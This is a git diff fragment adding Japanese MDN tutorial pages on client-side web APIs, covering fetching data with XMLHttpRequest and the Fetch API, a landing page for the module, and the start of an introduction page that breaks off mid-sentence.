関数を定義しましょう。まずはさっきのコードブロックの下に以下を書き足します — これは関数のからっぽのガワです。 注: ステップ 4 から 9 はすべて、この関数<em>内で</em>実施します。</p> + + <pre class="brush: js notranslate">function updateDisplay(verse) { + +}</pre> + </li> + <li> + <p>関数を、後から必要になる読み込みたいテキストファイルを指す相対 URL を作るところからはじめます。{{htmlelement("select")}} 要素の値は常に、選択されている {{htmlelement("option")}} の内側テキスト、例えば"Verse 1"とか、に一致します (value 属性で異なる値を設定していなければ)。これに相当するテキストファイルは "verse1.txt" で HTML と同じディレクトリにあるので、ファイル名だけで十分です。</p> + + <p>ただ、Web サーバはたいてい大文字小文字を区別しますし、今回のファイル名にスペースは含まれていません。"Verse 1" を "verse1.txt" に変換するためには、V を小文字にして、スペースを取り除き、.txt を末尾に追加しなければなりません。これは{{jsxref("String.replace", "replace()")}} に {{jsxref("String.toLowerCase", "toLowerCase()")}}、あと単なる <a href="/ja/docs/Learn/JavaScript/First_steps/Strings#Concatenating_strings">文字列の結合</a> で実現できます。以下のコードをあなたの <code>updateDisplay()</code> 関数の内側に追加して下さい:</p> + + <pre class="brush: js notranslate">verse = verse.replace(" ", ""); +verse = verse.toLowerCase(); +let url = verse + '.txt';</pre> + </li> + <li> + <p>XHR リクエストを作り始めるため、リクエストオブジェクトを {{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}} コンストラクタを使って作成しなければなりません。このオブジェクトには好きな名前を付けられますが、単純にするため <code>request</code> を使います。<code>updateDisplay()</code> 関数の内側で、先の行の下に以下を追加します:</p> + + <pre class="brush: js notranslate">let request = new XMLHttpRequest();</pre> + </li> + <li> + <p>次に {{domxref("XMLHttpRequest.open","open()")}} メソッドを使ってどの <a href="/ja/docs/Web/HTTP/Methods">HTTP リクエストメソッド</a> を使ってリソースをネットワークから取得するか、URL はどこかを指定しなければなりません。ここでは単に <code><a href="/ja/docs/Web/HTTP/Methods/GET">GET</a></code> メソッドを使い、URL には <code>url</code> 変数の値をセットします。先の行の下に以下を追加します:</p> + + <pre class="brush: js notranslate">request.open('GET', url);</pre> + </li> + <li> + <p>次はレスポンスにどのような形式にしたいか指定 — これはリクエストの {{domxref("XMLHttpRequest.responseType", "responseType")}} プロパティで指定します — <code>text</code> にします。厳密に言えばこの場合は必須の指定ではありません — XHR はデフォルトで text を返します — が、いつの日か他のデータ形式を指定したくなる場合にそなえて、この設定をする習慣をつけておくと良いと思います。次を追加して下さい:</p> + + <pre class="brush: js notranslate">request.responseType = 'text';</pre> + </li> + <li> + <p>ネットワークからリソースを取得する処理は非同期{{glossary("asynchronous")}} 処理なので、戻りを使って何かをする前に、あなたは処理が完了(リソースがネットワークから返ってくる)するのを待たなければならず、さもないとエラーが投げられます。XHR では {{domxref("XMLHttpRequest.onload", "onload")}} イベントハンドラを使ってこの問題をさばけます — これは {{event("load")}} イベントが発火(レスポンスが返ってきた)した時に実行されます。このイベントが起きた後は、レスポンスデータは XHR リクエストオブジェクトの <code>response</code> プロパティとして取得できます。</p> + + <p>さっき追加した行の後に以下を追加して下さい。<code>onload</code> イベントハンドラの中で、<code>poemDisplay</code> ({{htmlelement("pre")}}要素) の <code><a href="/ja/docs/Web/API/Node/textContent">textContent</a></code> プロパティに {{domxref("XMLHttpRequest.response", "request.response")}} プロパティの値を設定しているのがお判りでしょう。</p> + + <pre class="brush: js notranslate">request.onload = function() { + poemDisplay.textContent = request.response; +};</pre> + </li> + <li> + <p>以上は全部、XHR リクエストの設定です — 実は私たちがやれと指示するまで動作はしません。やれと指示するには、{{domxref("XMLHttpRequest.send","send()")}} メソッドを使います。さっき追加した行の後に以下を追加して、関数を完成させます。この行は、<code>updateDisplay()</code> 関数の閉じ中括弧のすぐ上に置く必要があります。</p> + + <pre class="brush: js notranslate">request.send();</pre> + </li> + <li> + <p>今の時点でのこの例題にある問題の一つは、最初に読み込まれた時点ではなにも詩が表示されないことです。これを直すには、あなたのコードの一番下 (<code></script></code> 閉じタグのすぐ上) に以下の二行を追加し、デフォルトで1番の詩を読み込みませ、{{htmlelement("select")}} 要素に適切な値を指させます:</p> + + <pre class="brush: js notranslate">updateDisplay('Verse 1'); +verseChoose.value = 'Verse 1';</pre> + </li> +</ol> + +<h3 id="サーバからあなたの例題を送らせる">サーバからあなたの例題を送らせる</h3> + +<p>今時のブラウザ (Chrome も含まれます) は、ローカルファイルとして例題を実行しても XHR リクエストを行ないません。これはセキュリティの制限によるものです (Web のセキュリティにより詳しくは <a href="/docs/Learn/Server-side/First_steps/Website_security">Webサイトのセキュリティ</a>を読んで下さい)。</p> + +<p>これをどうにかするため、例題をローカルの Web サーバを使って実行しなければなりません。どうやるのかは、 <a href="/docs/Learn/Common_questions/set_up_a_local_testing_server">テスト用のローカルサーバを設定するにはどうすればいい?</a> を読んで下さい。</p> + +<h3 id="Fetch">Fetch</h3> + +<p>Fetch API は、基本的には XHR の今風の代替品です — 最近になってブラウザに組込まれたもので、非同期 HTTP リクエストを JavaScript で、開発者や他の Fetch の上に組まれた API から簡単に行なえるようにするためのものです。</p> + +<p>先の例を Fetch を使うように書き換えてみましょう!</p> + +<ol> + <li> + <p>さっき完成させた例題のディレクトリのコピーを作ります(前の例題を完成させていないなら、新しいディレクトリを作成して、そこに <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">xhr-basic.html</a> と4つのテキストファイル — (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>、<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>、<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a> と <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a>) のコピーを作って下さい。</p> + </li> + <li> + <p><code>updateDisplay()</code> 関数の中から、XHR のコードを探し出します:</p> + + <pre class="brush: js notranslate">let request = new XMLHttpRequest(); +request.open('GET', url); +request.responseType = 'text'; + +request.onload = function() { + poemDisplay.textContent = request.response; +}; + +request.send();</pre> + </li> + <li> + <p>XHR のコードを次のように置き換えます:</p> + + <pre class="brush: js notranslate">fetch(url).then(function(response) { + response.text().then(function(text) { + poemDisplay.textContent = text; + }); +});</pre> + </li> + <li> + <p>例題をブラウザに読み込むと(Web サーバから読んで下さい)、XHR 版と同様に動作するするはずです。今時のブラウザを使っていれば。</p> + </li> +</ol> + +<h4 id="Fetch_のコードでは何が起きている">Fetch のコードでは何が起きている?</h4> + +<p>まず最初に、{{domxref("WorkerOrWindowGlobalScope.fetch()","fetch()")}} メソッドが呼ばれ、取得したいリソースの URL が渡されています。これは XHR の {{domxref("XMLHttpRequest.open","request.open()")}} の今時な同等品で、さらに言えば <code>.send()</code> に相当するものは必要ありません。</p> + +<p>その後に、{{jsxref("Promise.then",".then()")}} メソッドが <code>fetch()</code> の後に連鎖されているのがわかるでしょう — このメソッドは {{jsxref("Promise","Promises")}} の一部で、非同期処理を行なうための今風な JavaScript に備わる機能です。<code>fetch()</code> はプロミスを返し、これはサーバから送られたレスポンスによって解決されます — <code>.then()</code> を使ってプロミスが解決された後にある種後始末のコードを走らせるようにし、そのコードとは内側で定義した関数にあたります。これは XHR 版の <code>onload</code> イベントハンドラに相当します。</p> + +<p>この関数には、<code>fetch()</code> のプロミスが解決された際に、自動的にサーバからのレスポンスが引数として渡されます。関数の中で、レスポンスをつかまえてその {{domxref("Body.text","text()")}} メソッド、これは基本的にレスポンスを生のテキストで返すもの、を走らせます。これは XHR 版の <code>request.responseType = 'text'</code> 部分と等価です。</p> + +<p><code>text()</code> もプロミスを返しているのがおわかりでしょう、ですのでそれに別の <code>.then()</code> を連鎖させ、その中で <code>text()</code> のプロミスが解決する生テキストを受けとるよう、関数を定義します。</p> + +<p>内側のプロミスの関数の中で、XHR 版でやったのとほとんど同じ事をやっています — {{htmlelement("pre")}} 要素のテキストコンテントにテキスト値を設定しています。</p> + +<h3 id="Aside_on_promises">Aside on promises</h3> + +<p>プロミスは初めて見るとちょっと混乱させられますが、今はひとまずそんなに心配しなくて大丈夫です。ちょっとすれば慣れます、とくに今風の JavaScript APIを学んでいけば — 新しい部分の大半がこのプロミスに強く依存しています。</p> + +<p>上の例のプロミスの構造を見直してみましょう、もうちょっと意味が通じてくるかもしれません:</p> + +<pre class="brush: js notranslate">fetch(url).then(function(response) { + response.text().then(function(text) { + poemDisplay.textContent = text; + }); +});</pre> + +<p>最初の行で言っているのは、「urlにあるリソースを取ってこい(fetch)」(<code>fetch(url)</code>)で、「それから(then)プロミスが解決したら指定した関数を実行しろ」(<code>.then(function() { ... })</code>)です。「解決」とは、「この先どこかの時点で、指定された処理の実行を終える」事を意味します。この場合だと指定された処理とは、指定のURLからリソースを取ってきて(HTTPリクエストを使って)、そのレスポンスを私たちがどうにかできるように返せ、です。</p> + +<p>実際のところ、<code>then()</code>に渡される関数は、すぐには実行されないコードの塊です — すぐにではなく、未来のどこかの時点でレスポンスが返って来た時に実行されます。頭に入れておいて下さい、プロミスは変数に保存する事もできて、変数に {{jsxref("Promise.then",".then()")}} を連鎖する事ができます。次のコードがやっているのも同じ事です:</p> + +<pre class="brush: js notranslate">let myFetch = fetch(url); + +myFetch.then(function(response) { + response.text().then(function(text) { + poemDisplay.textContent = text; + }); +});</pre> + +<p><code>fetch()</code> メソッドは HTTP レスポンスによって解決されるプロミスを返し、その後ろに連鎖された <code>.then()</code> の中にどのような関数を定義しても、それには引数としてレスポンスが自動で渡されます。引数にどんな名前を付けるのもご自由です — 下の例もちゃんと動きます:</p> + +<pre class="brush: js notranslate">fetch(url).then(function(dogBiscuits) { + dogBiscuits.text().then(function(text) { + poemDisplay.textContent = text; + }); +});</pre> + +<p>ですがパラメータにはその中身がわかる名前を付けた方がいいですよね!</p> + +<p>今度は関数だけに着目しましょう:</p> + +<pre class="brush: js notranslate">function(response) { + response.text().then(function(text) { + poemDisplay.textContent = text; + }); +}</pre> + +<p>レスポンスオブジェクトには {{domxref("Body.text","text()")}} メソッドがあって、これはレスポンスボディにある生データを受けて、プレインテキスト(これが私たちの必要とする形式です)、に変換します。このメソッドもプロミス(これは結果となるテキスト文字列で解決します)を返すので、ここでまた別の {{jsxref("Promise.then",".then()")}} を使い、この内部で、テキスト文字列を使って私たちがやりたい事を行うための別の関数を定義します。私たちがやるのは、ただ詩用の {{htmlelement("pre")}} 要素の <code><a href="/docs/Web/API/Node/textContent">textContent</a></code> プロパティをテキスト文字列と同じに設定だけなので、これはとても単純です。</p> + +<p>これも覚えておく価値があります、それぞれのブロックの結果を次のブロックに渡していくように、直接複数のプロミスブロック(<code>.then()</code>ブロック以外の種類もあります)を次から次へと連鎖する事ができます、あたかも鎖を下にたどっていくように。このおかげで、プロミスはとても強力なのです。</p> + +<p>次のブロックはもとの例題と同じ事をしますが、違うやり方で書かれています:</p> + +<pre class="brush: js notranslate">fetch(url).then(function(response) { + return response.text() +}).then(function(text) { + poemDisplay.textContent = text; +});</pre> + +<p>多くの開発者はこの書き方の方が好きです、なぜなら平らで、間違いなく長大なプロミス連鎖も読みやすいからです — それぞれのプロミスが、前のやつの内側に来る(これは扱いづらくなる場合があります)のではなく、前のやつから順々に続いています。違うのは <code><a href="/docs/Learn/JavaScript/Building_blocks/Return_values">return</a></code> 文を response.text() の前に書いて、それが出した結果を次の鎖に渡すようにしなければならないところだけです。</p> + +<h3 id="どっちの機構を使うべき">どっちの機構を使うべき?</h3> + +<p>これは本当に、あなたがどんなプロジェクトを進めているかによります。XHR は長いこと存在しているので、様々なブラウザで非常によくサポートされています。一方 Fetch とプロミスは Web プラットフォームに最近追加されたものなので、ブラウザ界では結構サポートされているんですが、IE はサポートしていません。</p> + +<p>古いブラウザをサポートする必要があるのならば、XHR の方が良いでしょう。ですがあなたがもっと先進的なプロジェクトで働いて、古いブラウザの事でさして悩まないなら、Fetch が良い選択になるでしょう。</p> + +<p>本当はどっちも学ぶべきです — Fetch は IE が消えていくにつれ(IE は、Microsoft の新しい Edge ブラウザのおかげで開発が終了しています)どんどん一般的になっていくでしょうが、もうしばらくは XHR が必要でしょう。</p> + +<h2 id="もっとややこしい例題">もっとややこしい例題</h2> + +<p>この記事のまとめとして、Fetch のより興味深い使い方を示す、ちょっとばかり難しい例題を見ていきましょう。例題用に缶詰屋というサイトを作成しました — これは缶詰だけを売る仮想のお店です。これの <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/">GitHubでのライブ実行</a> と <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/fetching-data/can-store">ソースコード</a> が見られます。</p> + +<p><img alt="A fake ecommerce site showing search options in the left hand column, and product search results in the right hand column." src="https://mdn.mozillademos.org/files/14779/can-store.png" style="display: block; margin: 0 auto;"></p> + +<p>デフォルトではサイトには全ての商品が表示されますが、左側のカラムにあるフォームコントロールからカテゴリから、検索語から、あるいはその両方によってフィルタリングをかけられます。</p> + +<p>商品をカテゴリや検索語によってフィルタリングする処理をし、UIでデータが正しく表示されるように文字列を操作するためなどに、けっこうな量の複雑なコードがあります。この記事のなかでそれら全てについて解説しませんが、ソースコードのコメントに詳しいことがたくさん書いてあります(<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-script.js">can-script.js</a>を見て下さい)。</p> + +<p>ですが、Fetch のコードについては説明していきます。</p> + +<p>Fetch を使うブロックの最初は、JavaScript の初めの方にあります:</p> + +<pre class="brush: js notranslate">fetch('products.json').then(function(response) { + return response.json(); +}).then(function(json) { + let products = json; + initialize(products); +}).catch(function(err) { + console.log('Fetch problem: ' + err.message); +});</pre> + +<p><code>fetch()</code> 関数はプロミスを返します。これが成功裏に完了すると、一つ目の <code>.then()</code> ブロックの中にある関数は、ネットワークから返された <code>response</code> を受け取ります。</p> + +<p>この関数の中で、{{domxref("Body.text","text()")}} ではなくて {{domxref("Body.json","json()")}} を実行しています。プレインテキストではなく、構造化された JSON データとしてレスポンスを返してほしいからです。</p> + +<p>次に、別の <code>.then()</code> を最初の <code>.then()</code> の後に連鎖させています。これに、<code>response.json()</code> プロミスから返された <code>json</code> を含む成功時の関数を渡しています。この <code>json</code> を <code>products</code> 変数の値として代入してから、<code>initialize(products)</code> を実行します。すべての商品をユーザーインターフェイスに表示する処理が開始されます。</p> + +<p>エラーを処理するために、連鎖の最後に <code>.catch()</code> ブロックを連鎖させています。これは、何らかの理由でプロミスが失敗した場合に実行されます。その中には、引数として渡される関数、<code>error</code> オブジェクトが含まれています。この <code>error</code> オブジェクトを使用して、発生したエラーがどういうものかを伝えられます。ここでは単純な <code>console.log()</code> を使用して伝えています。</p> + +<p>ただし、完全な Web サイトでは、ユーザの画面にメッセージを表示し、状況を改善する選択肢を提供することで、このエラーをより適切に処理するでしょう。とは言え、ここでは単純な <code>console.log()</code> 意外は必要ありません。</p> + +<p>あなたは自分でも失敗した場合のテストができます:</p> + +<ol> + <li>例題のファイルのローカルコピーを作成して下さい(<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true">缶詰屋の ZIPファイル</a>をダウンロードして展開して下さい)。</li> + <li>コードを Web サーバから読んで走らせるようにします(方法は前に {{anch("Serving your example from a server")}}で解説しました)。</li> + <li>fetch するファイルのパスを、'produc.json' のようなものに変更します(誤ったファイル名にして下さい)。</li> + <li>ここでインデックスファイルをブラウザに読み込んで( <code>localhost:8000</code> から)、あなたのブラウザの開発者コンソールを見ます。次の行のようなメッセージが表示されるはずです「Network request for produc.json failed with response 404: File not found」。</li> +</ol> + +<p>二つ目の Fetch ブロックは <code>fetchBlob()</code> 関数の中にあります:</p> + +<pre class="brush: js notranslate">fetch(url).then(function(response) { + return response.blob(); +}).then(function(blob) { + // Convert the blob to an object URL — this is basically a temporary internal URL + // that points to an object stored inside the browser + let objectURL = URL.createObjectURL(blob); + // invoke showProduct + showProduct(objectURL, product); +});</pre> + +<p>これも前のとおおよそ同じように動作しますが、{{domxref("Body.json","json()")}} ではなくて {{domxref("Body.blob","blob()")}} を使っているところが違います — 今回の場合は画像ファイルを返したいので、これ用に使うデータ形式は <a href="/ja/docs/Web/API/Blob">Blob</a> — これは "<u>B</u>inary <u>L</u>arge <u>Ob</u>ject" の略で、たいていは巨大なファイルのようなオブジェクト、画像や動画のようなものを示すのに使われます。</p> + +<p>blob を成功裏に受信したら、{{domxref("URL.createObjectURL()", "createObjectURL()")}}を使ってそこからオブジェクトURLを取り出します。これはそのブラウザの中でのみ有効なオブジェクトを示す一時的な URL を返します。あまり読み易いものではありませんが、缶詰屋アプリを開いて画像を Ctrlクリックもしくは右クリックして、メニューから「画像を表示」を選択する(これはあなたが使っているブラウザによって異なる場合があります)と見ることができます。オブジェクトURLはブラウザのアドレスバーに表示され、こんな感じになるでしょう:</p> + +<pre class="notranslate">blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4</pre> + +<h3 id="課題_XHR_版の缶詰屋">課題: XHR 版の缶詰屋</h3> + +<p>ちょっとした練習として、アプリの Fetch 版を XHR を使うように書き換えて下さい。<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true">ZIPファイル </a>のコピーを作って、上手く JavaScript を書き換えてみて下さい。</p> + +<p>ちょっとしたヒントです:</p> + +<ul> + <li>{{domxref("XMLHttpRequest")}} のリファレンス記事が役に立つでしょう。</li> + <li>基本的には、初めの方の <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">XHR-basic.html</a> の例で見たのと同じようなパターンを使う必要があります。</li> + <li>ただし、Fetch 版の缶詰屋でお見せしたのと同様なエラー処理を追加する必要があります: + <ul> + <li><code>load</code> イベントが発火した後は、プロミスの <code>then()</code> の中ではなく、<code>request.response</code> の中にレスポンスはあります。</li> + <li>XHR において、Fetch の <code>response.ok</code> に相当する一番良いやり方は、{{domxref("XMLHttpRequest.status","request.status")}} が 200 であるか、{{domxref("XMLHttpRequest.readyState","request.readyState")}} が 4 である事をチェックする事です。</li> + <li>ステータスとステータスメッセージを取得するためのプロパティは一緒ですが、これは <code>response</code> オブジェクトの中ではなく <code>request</code>(XHR)オブジェクトの中にあります。</li> + </ul> + </li> +</ul> + +<div class="note"> +<p><strong>注記</strong>: 上手くいかないときは、我々のGitHubにある完成版のコード (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store-xhr/can-script.js">ソースコードはこちらから</a>、<a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store-xhr/">ライブ実行版</a>もどうぞ) と比べてみて下さい。</p> +</div> + +<h2 id="まとめ">まとめ</h2> + +<p>私たちのサーバからのデータ取得に関する記事は以上です。ここまでくれば、どう XHR と Fetch を使って進めていけばいいのか理解できたことでしょう。</p> + +<h2 id="あわせて参照">あわせて参照</h2> + +<p>この記事には様々なほんのさわりしか説明していない事項がたくさんあります。これらの事項についてもっと詳しくは、以下の記事を見て下さい:</p> + +<ul> + <li><a href="/ja/docs/Web/Guide/AJAX/Getting_Started">Ajax — 始めましょう</a></li> + <li><a href="/ja/docs/Web/API/Fetch_API/Using_Fetch">Fetch を使う</a></li> + <li><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON">JSON データの操作</a></li> + <li><a href="/ja/docs/Web/HTTP/Overview">HTTP の概要</a></li> + <li><a href="/ja/docs/Learn/Server-side">サーバサイド Web サイトプログラミング</a></li> +</ul> + +<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<h2 id="このモジュール">このモジュール</h2> + +<div> +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Web API の紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">ドキュメントの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">サーバからのデータ取得</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">サードパーティ API</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">グラフィックの描画</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">動画と音声の API</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">クライアント側ストレージ</a></li> +</ul> +</div> diff --git a/files/ja/learn/javascript/client-side_web_apis/index.html b/files/ja/learn/javascript/client-side_web_apis/index.html new file mode 100644 index 0000000000..0675ea4da0 --- /dev/null +++ b/files/ja/learn/javascript/client-side_web_apis/index.html @@ -0,0 +1,51 @@ +--- +title: クライアントサイド Web API +slug: Learn/JavaScript/Client-side_web_APIs +tags: + - API + - CodingScripting + - DOM + - JavaScript + - Landing + - WebAPI + - グラフィック + - データ + - メディア + - モジュール + - 初心者向け + - 学習 + - 記事 +translation_of: Learn/JavaScript/Client-side_web_APIs +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">Web サイトやアプリケーション用にクライアント側のJavaScriptを書いていると、すぐに<strong>アプリケーションプログラミングインターフェース </strong>(<u>A</u>pprication <u>P</u>rogramming <u>I</u>nterfaces、<strong>API</strong>) にでくわします。API とはブラウザやサイトが動作している OS の様々な面を操作したり、他の Web サイト、サービスから取得したデータを操作するためのプログラムされた機能です。このモジュールでは API とは何か、開発作業の中でよく見かける最もよく利用される API のいくつかについて、どのように使うかを説明していきます。</p> + +<h2 id="前提条件">前提条件</h2> + +<p>このモジュールをよく理解するためには、ここまでの一連のJavaScriptに関するモジュール (<a href="/en-US/docs/Learn/JavaScript/First_steps">First steps</a>, <a href="/en-US/docs/Learn/JavaScript/Building_blocks">Building blocks</a> と <a href="/en-US/docs/Learn/JavaScript/Objects">JavaScript objects</a>) の学習をすませているべきです。これらのモジュールでは大抵簡単な API を使っていますが、その助けなしにクライアント側の JavaScript を書き上げるのは難しいからです。このチュートリアルの中では、JavaScript 言語のコア部分については十分理解しているものとして、よく使われる Web API についてもう少し詳しく探っていきます。</p> + +<p><a href="/en-US/docs/Learn/HTML">HTML</a> と <a href="/en-US/docs/Learn/CSS">CSS</a> に関する基礎知識も役に立つでしょう。</p> + +<div class="note"> +<p><strong>注記</strong>: もし自分のファイルを作成できないようなデバイス上で作業しているなら、大半のコード例を <a href="http://jsbin.com/">JSBin</a> や <a href="https://thimble.mozilla.org/">Thimble</a> のようなオンラインプログラム作成・実行環境で試してみることもできます。</p> +</div> + +<h2 id="ガイド">ガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Web API の紹介</a></dt> + <dd>まずはAPIを高い視点から見ていきます — これは何なのか、どう働くのか、あなたのコードでどう使うのか、どういう風に作られているのか? また様々なクラスのAPIが何なのか、どんな使い方があるのかも見ていきます。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">文章の操作</a></dt> + <dd>Webページやアプリを書く場合に、最も多く必要になるのはWeb文書をどうかして操作する事でしょう。これは普通ドキュメントオブジェクトモデル(<u>D</u>ocument <u>O</u>bject <u>M</u>odel、DOM)、これはHTMLとスタイルに関する情報を{{domxref("Document")}}オブジェクトを使いまくって操作するための一連のAPIです、を用いて行ないます。この記事では、DOMの使い方を詳しく見ながら、面白い方法であなたの環境を変える事ができる興味深い他のAPIもいくつか見ていきます。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">サーバからのデータ取得</a></dt> + <dd>また別に、モダンなWebサイトやアプリケーションでしょっちゅう必要になるのは、サーバから個々のデータを取ってきて、新しいページ全体を読んでくることなしに、ページの一部を書き換える事です。この一見ちょっとした事が、サイトのパフォーマンスや振舞いに巨大なインパクトを与えました。この記事ではそのコンセプトを解説し、これを可能にした技術{{domxref("XMLHttpRequest")}}と<a href="/ja/docs/Web/API/Fetch_API">Fetch API</a>について見ていきます。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">サードパーティ API</a></dt> + <dd>これまでに説明したAPIはブラウザに組込まれていますが、全てのAPIが組込まれているのではありません。グーグルマップやTwitter、Facebook、ペイパルなど、多くの巨大なWebサイトやサービスが、開発者に対して彼らのデータを利用したり(例:あなたのブログにtwitterのタイムラインを表示させる)、サービスを利用したり(例:あなたのサイトに独自のグーグルマップを表示したり、あなたのサービス利用者にFacebookでログインできたり)するためのAPIを提供しています。この記事ではブラウザAPIとサードパーティAPIの違いを見ていき、典型的な後者の使い方をお見せします。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">絵を描く</a></dt> + <dd>ブラウザにはグラフィックを描くためのとても強力なツールがいくつか組込まれています。<a href="/docs/Web/SVG">SVG</a>(Scalable Vector Graphics)言語から、HTMLの{{htmlelement("canvas")}}キャンバス要素に描画するためのAPIまで (<a href="/docs/Web/API/Canvas_API">キャンバスAPI</a> や <a href="/docs/Web/API/WebGL_API">WebGL</a>を参照)。 この記事ではキャンバスAPIへの導入を説明し、もっと深く学習していくためのリソースをご紹介します。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">動画と音声の API</a></dt> + <dd>HTML5には文書にリッチなメディアを埋め込むための要素が備わっています — {{htmlelement("video")}} と {{htmlelement("audio")}} — それぞれに再生やシークなどの操作するための独自APIを備えています。この記事では独自の再生操作パネルを作成するような、よくある仕事をどうやればいいのかお見せします。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">クライアント側でのデータ保存</a></dt> + <dd>モダンなブラウザには、Webサイトに関するデータを保存し必要なときに取り出すための様々に異なる技術が実装されており、これを使ってデータを長期間保存したり、サイトをオフラインに保存したりなどなどができます。この記事ではこれらがいかに動作するのか、その基本の基本について説明します。</dd> +</dl> diff --git a/files/ja/learn/javascript/client-side_web_apis/introduction/index.html b/files/ja/learn/javascript/client-side_web_apis/introduction/index.html new file mode 100644 index 0000000000..521cd6d234 --- /dev/null +++ b/files/ja/learn/javascript/client-side_web_apis/introduction/index.html @@ -0,0 +1,317 @@ +--- +title: Web API の紹介 +slug: Learn/JavaScript/Client-side_web_APIs/Introduction +tags: + - 3rd party + - API + - Article + - Beginner + - Browser + - CodingScripting + - Learn + - Object + - WebAPI + - client-side +translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">まずはAPIを高い視点から見ていきます — これは何なのか、どう働くのか、あなたのコードでどう使うのか、どういう風に作られているのか? また様々なクラスのAPIは何なのか、どのような使い方があるのかも見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピュータの知識および利用能力、<a href="/en-US/docs/Learn/HTML">HTML</a> と <a href="/en-US/docs/Learn/CSS">CSS</a> の基本的な理解、JavaScript の基本 (<a href="/docs/Learn/JavaScript/First_steps">第一歩</a>、<a href="/docs/Learn/JavaScript/Building_blocks">構成要素</a>, <a href="/docs/Learn/JavaScript/Objects">JavaScriptオブジェクト</a>).</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>API に何ができて、あなたのコードでどう使えばいいのか知ること。</td> + </tr> + </tbody> +</table> + +<h2 id="API_って何">API って何?</h2> + +<p>Application Programming Interfaces (APIs) は、開発者が複雑な機能をより簡単に作成できるよう、プログラミング言語から提供される構造です。複雑なコードを抽象化し、それにかわる簡潔な構文を提供します。</p> + +<p>実世界の例として、あなたの家、アパートや他の住処にある電気のコンセントについて考えて下さい。あなたの家で機器を使いたい時には、電源コードのプラグをコンセントに差し込めば事足ります。電源に直接結線したりしないでしょう — そんなのは非効率ですし、あなたが電気工事士でなければ、やってみるには難しいし危険です。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14317/plug-socket.png" style="display: block; height: 472px; margin: 0px auto; width: 700px;"></p> + +<p><em>画像提供: <a href="https://www.flickr.com/photos/easy-pics/9518184890/in/photostream/lightbox/">超タコ足コンセント</a> by <a href="https://www.flickr.com/photos/easy-pics/">The Clear Communication People</a>, Flickr より</em></p> + +<p>それと同じことで、そうですね、例えば3次元グラフィックのプログラムを JavaScript や Python のような高レベル言語で書かれた API を使ってやる方が、C や C++ のような低レベル言語から直接コンピュータの GPU やグラフィック機能を叩いてやるよりも、ずっと簡単です。</p> + +<div class="note"> +<p><strong>注記</strong>: API という語についてもっと詳しいことは <a href="/ja/docs/Glossary/API">APIの用語解説</a> を参照して下さい。</p> +</div> + +<h3 id="クライアントサイド_JavaScript_での_API">クライアントサイド JavaScript での API</h3> + +<p>クライアントサイド API では、実際非常にたくさんのAPIが使えます — それらは JavaScript 言語本体の一部ではなく、あなたにスーパーパワーを与えるべく JavaScript 言語のコアの上に築かれた代物です。それらはおおよそ二つのカテゴリに分けられます:</p> + +<ul> + <li><strong>ブラウザ API</strong> は Web ブラウザに組込まれていて、ブラウザやコンピュータの環境の情報を取得し、これを使って役に立つややこしい事を行えるようにするものです。 例えば <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">Geolocation API</a> は位置情報を取得するための簡単な JavaScript 構造を提供するので、例えばグーグルマップにあなたの居場所を表示するような事ができます。裏で実際にはブラウザは低レベル (例えば C++) の複雑なコードをいくつか使ってデバイスの GPS 機器 